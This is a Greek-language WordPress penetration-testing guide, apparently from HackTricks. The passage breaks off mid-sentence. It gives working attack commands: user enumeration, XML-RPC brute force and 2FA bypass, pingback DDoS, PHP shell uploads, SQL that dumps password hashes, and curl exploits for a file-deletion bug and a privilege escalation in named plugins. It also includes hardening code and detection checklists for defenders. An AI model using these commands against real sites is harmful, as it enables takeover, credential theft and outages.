# Wordpress {{#include ../../banners/hacktricks-training.md}} ## Basic Information - **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Τα αρχεία θεμάτων μπορούν να βρεθούν στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του θέματος για να αποκτήσετε RCE, πιθανότατα θα χρησιμοποιήσετε αυτή τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας **θέμα twentytwelve** μπορείτε να **έχετε πρόσβαση** στο **404.php** αρχείο στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης root της βάσης δεδομένων. - Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` - `license.txt` περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη. - `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά την εγκατάσταση ενός νέου ιστότοπου WordPress. - Φάκελοι σύνδεσης (μπορεί να έχουν μετονομαστεί για να κρυφτούν): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` - `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια δυνατότητα του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται τα πρόσθετα και τα θέματα. - `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που έχουν ανέβει στην πλατφόρμα. - `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα βασικά αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets. - `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και μεγαλύτερες, το WordPress δημιουργεί ένα αρχείο sitemap XML με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις. **Post exploitation** - Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον οικοδεσπότη της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα άλατα αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει τη λειτουργία DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση. ### Users Permissions - **Administrator** - **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις - **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις - **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει - **Subscriber**: Περιηγείται σε αναρτήσεις και επεξεργάζεται το προφίλ του ## **Passive Enumeration** ### **Get WordPress version** Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html` Μέσα στον **κώδικα πηγής** της σελίδας (παράδειγμα από [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` - `meta name` ![](<../../images/image (1111).png>) - CSS link files ![](<../../images/image (533).png>) - JavaScript files ![](<../../images/image (524).png>) ### Λάβετε Πρόσθετα ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Λάβετε Θέματα ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Εξαγωγή εκδόσεων γενικά ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Ενεργή αρίθμηση ### Πρόσθετα και Θέματα Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα πρόσθετα και θέματα που είναι δυνατά. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **εκτελέσετε ενεργά Brute Force μια λίστα από πρόσθετα και θέματα** (ελπίζουμε για εμάς ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες). ### Χρήστες - **ID Brute:** Αποκτάτε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους IDs χρηστών: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**. - **wp-json:** Μπορείτε επίσης να προσπαθήσετε να αποκτήσετε πληροφορίες σχετικά με τους χρήστες κάνοντας ερώτημα: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` Ένα άλλο `/wp-json/` endpoint που μπορεί να αποκαλύψει κάποιες πληροφορίες σχετικά με τους χρήστες είναι: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια ανάρτηση. **Μόνο πληροφορίες σχετικά με τους χρήστες που έχουν ενεργοποιήσει αυτή τη δυνατότητα θα παρέχονται**. Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP. - **Αναγνώριση ονόματος χρήστη κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**. ### XML-RPC Εάν το `xml-rpc.php` είναι ενεργό, μπορείτε να εκτελέσετε brute-force για διαπιστευτήρια ή να το χρησιμοποιήσετε για να εκκινήσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ χρησιμοποιώντας αυτό](https://github.com/relarizky/wpxploit) για παράδειγμα). Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα: **Έλεγχος** ```html system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Bruteforce Διαπιστευτήρια** **`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να κάνετε bruteforce διαπιστευτήρια. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: ```html wp.getUsersBlogs admin pass ``` Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση, η διαδρομή θα εμφανίζεται ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` Επίσης, υπάρχει ένας **ταχύτερος τρόπος** για να κάνετε brute-force τα διαπιστευτήρια χρησιμοποιώντας **`system.multicall`** καθώς μπορείτε να δοκιμάσετε αρκετά διαπιστευτήρια στην ίδια αίτηση:
**Παράκαμψη 2FA** Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα διαπιστευτήρια αλλά η κύρια είσοδος προστατεύεται από 2FA, **μπορείτε να εκμεταλλευτείτε το xmlrpc.php για να συνδεθείτε με αυτά τα διαπιστευτήρια παρακάμπτοντας το 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί να μπορείτε να φτάσετε σε RCE όπως το εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS ή σάρωση θυρών** Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει μια αυθαίρετη αίτηση σε οποιονδήποτε host/port.\ Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** ιστότοπους **Wordpress** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα). ```html pingback.ping http://: http:// ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), σημαίνει ότι η θύρα είναι ανοιχτή. Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS. **DDoS** ```html pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../images/image (110).png>) ### wp-cron.php DoS Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\ Όταν αυτό το αρχείο είναι **προσιτό**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\ Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS). Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα). ### /wp-json/oembed/1.0/proxy - SSRF Δοκιμάστε να αποκτήσετε πρόσβαση στο _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και η ιστοσελίδα Worpress μπορεί να σας κάνει ένα αίτημα. Αυτή είναι η απάντηση όταν δεν λειτουργεί: ![](<../../images/image (365).png>) ## SSRF {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} Αυτό το εργαλείο ελέγχει αν η **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τις εκμεταλλευτεί. ## Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` ## Αποκτήστε πρόσβαση αντικαθιστώντας ένα bit Περισσότερο από μια πραγματική επίθεση, αυτό είναι μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορείτε να αλλάξετε 1 bit από οποιοδήποτε αρχείο wordpress. Έτσι, μπορείτε να αλλάξετε τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` για να NOP την NOT (`!`) λειτουργία. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** **Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια διαχειριστή)** Εμφάνιση → Επεξεργαστής Θέματος → Πρότυπο 404 (στα δεξιά) Αλλάξτε το περιεχόμενο για ένα php shell: ![](<../../images/image (384).png>) Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη ενημερωμένη σελίδα. Σε αυτή την περίπτωση, πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Μπορείτε να χρησιμοποιήσετε: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` to get a session. ## Plugin RCE ### PHP plugin Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\ Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα: ![](<../../images/image (183).png>) Στη συνέχεια, προσθέστε ένα νέο plugin: ![](<../../images/image (722).png>) Μεταφορτώστε το plugin και πατήστε Εγκατάσταση Τώρα: ![](<../../images/image (249).png>) Κάντε κλικ στο Προχώρα: ![](<../../images/image (70).png>) Πιθανώς αυτό δεν θα κάνει τίποτα φαινομενικά, αλλά αν πάτε στα Μέσα, θα δείτε το shell σας να έχει μεταφορτωθεί: ![](<../../images/image (462).png>) Αποκτήστε πρόσβαση σε αυτό και θα δείτε τη διεύθυνση URL για να εκτελέσετε το reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτήσει ένα web shell. Αυτή η διαδικασία πραγματοποιείται μέσω του πίνακα ελέγχου του WordPress ως εξής: 1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB όπως [**εδώ**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: - Μεταβείτε στον πίνακα ελέγχου του WordPress, στη συνέχεια πηγαίνετε στο `Dashboard > Plugins > Upload Plugin`. - Μεταφορτώστε το zip αρχείο του κατεβασμένου plugin. 3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του πίνακα ελέγχου. 4. **Exploitation**: - Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο. - Το Metasploit framework παρέχει μια εκμετάλλευση για αυτήν την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια συνεδρία meterpreter, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο. - Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτείτε έναν ιστότοπο WordPress. Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στον πίνακα ελέγχου του WordPress για την εγκατάσταση και την ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως η διείσδυση με ρητή άδεια. **Για πιο λεπτομερή βήματα ελέγξτε:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες ελέγξτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει να:** - _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Μεταφορτώστε το προσαρμοσμένο plugin (backdoor) σας στο WordPress. - _**(RCE) Built-In Plugin Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο plugin στο WordPress. - _**(RCE) Built-In Theme Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο θέμα στο WordPress. - _**(Custom) Custom Exploits:**_ Προσαρμοσμένες εκμεταλλεύσεις για τρίτα plugins/θέματα WordPress. ## Post Exploitation Extract usernames and passwords: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` Αλλαγή κωδικού πρόσβασης διαχειριστή: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest ### Attack Surface Η γνώση του πώς ένα plugin του Wordpress μπορεί να εκθέσει λειτουργικότητα είναι το κλειδί για να βρείτε ευπάθειες στη λειτουργικότητά του. Μπορείτε να βρείτε πώς ένα plugin μπορεί να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευάλωτων plugins σε [**αυτή την ανάρτηση στο blog**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι συχνό το φαινόμενο ότι αυτές οι συναρτήσεις θα βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` **Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και από μη αυθεντικοποιημένους).** > [!CAUTION] > Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει απλώς αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια. - **REST API** Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getData'), 'permission_callback' => '__return_true' ) ); ``` Ο `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας συγκεκριμένος χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API. **Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.** - **Άμεση πρόσβαση στο αρχείο php** Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλά με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη. ### Μη αυθεντικοποιημένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Θέμα Litho <= 3.0) Τα θέματα και τα plugins του WordPress εκθέτουν συχνά χειριστές AJAX μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_**, **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί: 1. Έναν **έλεγχο ικανοτήτων** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και 2. Ένα **CSRF nonce** που επικυρώνεται με `check_ajax_referer()` / `wp_verify_nonce()`, και 3. **Αυστηρή απολύμανση / επικύρωση εισόδου**. Το πολυλειτουργικό θέμα Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Αφαίρεση Οικογένειας Γραμματοσειράς* και κατέληξε να αποστείλει τον παρακάτω κώδικα (απλοποιημένο): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { return; } $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); $upload_dir = wp_upload_dir(); $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; $filesystem = Litho_filesystem::init_filesystem(); if ( file_exists( $srcdir ) ) { $filesystem->delete( $srcdir, FS_CHMOD_DIR ); } die(); } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` Issues introduced by this snippet: * **Μη εξουσιοδοτημένη πρόσβαση** – το hook `wp_ajax_nopriv_` είναι καταχωρημένο. * **Καμία έλεγχος nonce / ικανότητας** – οποιοσδήποτε επισκέπτης μπορεί να χτυπήσει το endpoint. * **Καμία απολύμανση διαδρομής** – η συμβολοσειρά `fontfamily` που ελέγχεται από τον χρήστη συνενώνεται με μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας κλασική διαδρομή `../../`. #### Εκμετάλλευση Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή φάκελο **κάτω από τον βασικό κατάλογο uploads** (κανονικά `/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST αίτημα: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` Γιατί το `wp-config.php` βρίσκεται εκτός *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να εισέλθει στον *οδηγό εγκατάστασης* κατά την επόμενη επίσκεψη, επιτρέποντας μια πλήρη κατάληψη του ιστότοπου (ο επιτιθέμενος απλώς παρέχει μια νέα ρύθμιση DB και δημιουργεί έναν χρήστη διαχειριστή). Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία `.php` από πρόσθετα/θέματα (για να σπάσουν τα πρόσθετα ασφαλείας) ή κανόνες `.htaccess`. #### Λίστα ελέγχου ανίχνευσης * Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθούς συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.). * Συγκέντρωση μη απολυμασμένων εισροών χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`). * Απουσία `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`. #### Σκληραγώγηση ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'forbidden', 403 ); } check_ajax_referer( 'litho_fonts_nonce' ); $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { wp_send_json_error( 'invalid path', 400 ); } // … proceed … } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] > **Πάντα** να θεωρείτε οποιαδήποτε λειτουργία εγγραφής/διαγραφής στον δίσκο ως προνομιακή και να ελέγχετε διπλά: > • Αυθεντικοποίηση • Εξουσιοδότηση • Nonce • Καθαρισμός εισόδου • Περιορισμός διαδρομής (π.χ. μέσω `realpath()` συν `str_starts_with()`). --- ### Κλιμάκωση προνομίων μέσω αποκατάστασης παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "Δείτε τον Διαχειριστή ως Ρόλο") Πολλά πρόσθετα υλοποιούν μια δυνατότητα "θέαση ως ρόλος" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στα μεταδεδομένα χρήστη ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ., `$_REQUEST['reset-for']`) και σε μια λίστα που διατηρείται από το πρόσθετο χωρίς να ελέγχει τις ικανότητες και μια έγκυρη nonce, αυτό γίνεται κλιμάκωση προνομίων κάθετα. Ένα πραγματικό παράδειγμα βρέθηκε στο πρόσθετο Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Ο κλάδος επαναφοράς αποκατέστησε ρόλους με βάση το `reset-for=` εάν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους ρόλους από τα μεταδεδομένα χρήστη `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; if ( in_array( $reset_for_username, $usernames, true ) ) { $u = get_user_by( 'login', $reset_for_username ); foreach ( $u->roles as $role ) { $u->remove_role( $role ); } $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` Γιατί είναι εκμεταλλεύσιμο - Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση από τον server. - Εάν ένας χρήστης είχε προηγουμένως αποθηκευμένα υψηλότερα δικαιώματα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα αποκαταστήσει πατώντας τη διαδρομή επαναφοράς. - Σε ορισμένες αναπτύξεις, οποιοσδήποτε αυθεντικοποιημένος χρήστης θα μπορούσε να ενεργοποιήσει μια επαναφορά για άλλο όνομα χρήστη που είναι ακόμα παρόν στο `viewing_admin_as_role_are` (σπασμένη εξουσιοδότηση). Προαπαιτούμενα επίθεσης - Ευάλωτη έκδοση plugin με τη δυνατότητα ενεργοποιημένη. - Ο στόχος λογαριασμού έχει αποθηκευμένο ένα παλιό ρόλο υψηλών προνομίων στο user meta από προηγούμενη χρήση. - Οποιαδήποτε αυθεντικοποιημένη συνεδρία; απουσία nonce/ικανότητας στη ροή επαναφοράς. Εκμετάλλευση (παράδειγμα) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` Σε ευάλωτες εκδόσεις, αυτό αφαιρεί τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας αποτελεσματικά τα δικαιώματα. Λίστα ελέγχου ανίχνευσης - Αναζητήστε δυνατότητες αλλαγής ρόλων που διατηρούν “αρχικούς ρόλους” στα μεταδεδομένα χρηστών (π.χ., `_asenha_view_admin_as_original_roles`). - Εντοπίστε διαδρομές επαναφοράς/αποκατάστασης που: - Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`. - Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς 